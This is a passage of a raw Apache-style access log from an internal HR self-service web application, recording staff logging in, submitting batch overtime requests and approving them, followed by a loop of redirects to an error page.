/eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [05/Dec/2025:08:43:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:44:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:44:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [05/Dec/2025:08:44:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3568121885910548 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:44:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3568121885910548 HTTP/1.1" 200 8988 192.168.11.104 - - [05/Dec/2025:08:44:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3568121885910548 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3568121885910548" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:44:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3568121885910548 HTTP/1.1" 200 27500 192.168.11.104 - - [05/Dec/2025:08:44:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:44:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 192.168.11.104 - - [05/Dec/2025:08:44:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:44:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [05/Dec/2025:08:44:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6944556628659418 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:44:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6944556628659418 HTTP/1.1" 200 8988 192.168.11.104 - - [05/Dec/2025:08:45:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6944556628659418 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6944556628659418" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:45:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6944556628659418 HTTP/1.1" 200 27500 192.168.11.104 - - [05/Dec/2025:08:45:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4490 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:45:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4490 192.168.11.104 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.40.54 - - [05/Dec/2025:08:45:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.40.54 - - [05/Dec/2025:08:45:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.40.54 - - [05/Dec/2025:08:45:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10223 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10223 192.168.40.54 - - [05/Dec/2025:08:45:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.40.54 - - [05/Dec/2025:08:45:45 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:45 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.40.54 - - [05/Dec/2025:08:45:45 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:45 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.40.54 - - [05/Dec/2025:08:45:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18367 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 18367 192.168.40.54 - - [05/Dec/2025:08:45:48 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:48 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132740%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132740&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132740%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132740&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.54 - - [05/Dec/2025:08:45:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.54 - - [05/Dec/2025:08:45:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.104 - - [05/Dec/2025:08:45:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7089043683902354 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:45:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7089043683902354 HTTP/1.1" 200 8988 192.168.11.104 - - [05/Dec/2025:08:45:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7089043683902354 HTTP/1.1" 200 27500 